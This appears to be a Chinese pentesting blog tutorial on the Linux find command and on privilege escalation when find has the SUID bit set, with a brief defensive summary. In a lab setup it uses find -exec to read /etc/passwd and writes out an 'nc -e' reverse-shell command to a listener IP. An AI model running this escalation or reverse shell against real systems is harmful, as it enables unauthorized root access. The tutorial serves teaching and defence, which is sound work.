首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
5,081 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
4,485 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
3,252 阅读
4
几个常见的密码字典推荐
2,630 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
2,566 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
网络安全
Web安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
泷羽Sec
累计撰写
185
篇文章
累计收到
3
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
搜索到
1
篇与
的结果
2025-05-18
find基础命令与提权教程
前言在信息安全的广阔领域中,系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具,在日常管理中广泛应用。然而,当find命令被错误地赋予SUID权限时,它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法,展示其在特定权限设置下的安全风险,并通过实际案例演示权限提升过程,提供针对性的防御策略。参数介绍find常用参数语法:find 【path...】 【expression】 `path`为查早路径,` . `为当前路径,` / `为根目录,`expression`为参数 参数列表参考: -name:按照文件名查找文件 -perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限 -user:按照文件属性来查找 -size n:文件大小是n个单位 -type: 1. d:目录 2. f:文件 3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty` 4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda` -atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n: 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print: 将匹配的文件输出到标准输出 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和;之间的空格。 该表来自:https://blog.csdn.net/weixin_44912169/article/details/105845909Find实例1、在当前目录下模糊查找.txt 后缀的文件find . -name "*.txt"2、在root目录下查找大于50M小于100M的文件find / -size +50M -size -100M -type f # +-号分别代表大于和小于查找10分钟内读取过的文件find / -amin 10 -type f查找权限为755的文件或目录并排序find -perm -755 -type f |sort查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'使用find 将这些文件合并到一个文件中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'拆解之后find . : 从当前目录开始找-type f : 只查找文件(不包括目录)-name '*.txt' : 查找文件名以 .txt 文件结尾的文件-exec cat {} ; : 对找到的每个文件执行cat命令,{}是一个占位符,代表find命令找到的每个文件名。;是命令的结束标记。> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在,他会被覆盖;如果不存在,会被创建。这样就清楚了:┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!' ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'对结果进行赛选,然后保存再result.txt中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽前面两个例子只是对结果进行操作,那么这里执行其他命令cat /etc/passwd┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat /etc/passwd ; root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin赋予root用户才能读取这个result,txt文件┌──(root㉿kali)-[/data/demo] └─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽我们切换kali执行find命令┌──(root㉿kali)-[/data/demo] └─# su kali ┌──(kali㉿kali)-[/data/demo] └─$ ls 1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo] └─$ find result.txt -exec whoami ; kali ┌──(kali㉿kali)-[/data/demo] └─$ cat result.txt cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了使用kali用户提权,被拒绝了,find提权的利用就是/usr/bin/find具有SUID权限,一旦find被赋予了SUID权限,那么黑客利用这个方式进行权限提示,造成无法挽回的后果┌──(kali㉿kali)-[/data/demo] └─$ chmod u+s /usr/bin/find chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作为了模拟黑客攻击过程,我们直接使用root用户修改find命令为SUID权限┌──(kali㉿kali)-[/data/demo] └─$ su root 密码:输入你的密码 ┌──(root㉿kali)-[/data/demo] └─# chmod u+s /usr/bin/find代码块不好看,换个终端。。。查看这个find权限,具有一个SUID权限SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。在这里,find文件所有者为root,那么我们使用具有suid权限的find命令时,是以root用户的权限去执行的模拟开始,假设我们已经getshell,系统用户为kali找到了find具有SUID权限那么就可以利用find执行系统命令,whoami,这时候是root用户,而我们直接使用whoami则是kali普通用户首先查看result.txt权限,利用cat命令查看,权限不够,那么我们使用find命令执行命令,即可查看我们所属用户为root的result.txt文件,使用{}代表find查询出来的所有文件可以执行命令了,那么就是反弹shell,windows作为攻击机,开启nc监听在开始反弹之前,检查root用户的终端是哪个位置那么我们正常反弹shell的命令就是这样的,但是移交的是普通用户kali权限nc -e /usr/bin/zsh 10.0.0.7 3000使用find命令反弹shell,那么就是root权限反弹成功,我是root查看我们的result.txt文件,成功提权!总结find更多的用法只是用来查找文件,但如果操作不慎,赋予了SUID权限,它也可以被用来进行权限提升。本文总结了如下几点:1、当find命令被赋予了SUID权限时,普通用户执行该命令将能够以文件所有者(通常是root)的权限来执行。2、提权步骤需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。一旦确认find命令具有SUID权限,就可以利用它来执行需要更高权限的命令。例如,可以使用find命令来读取或修改通常只有root用户才能访问的文件。3、防范防御者应该定期检查系统上的重要命令(如find)的权限设置,以确保它们没有被不当修改。还定期审计系统上的权限设置,以确保没有不当的权限提升行为发生。感谢观看!
2025年05月18日
1,089 阅读
0 评论
0 点赞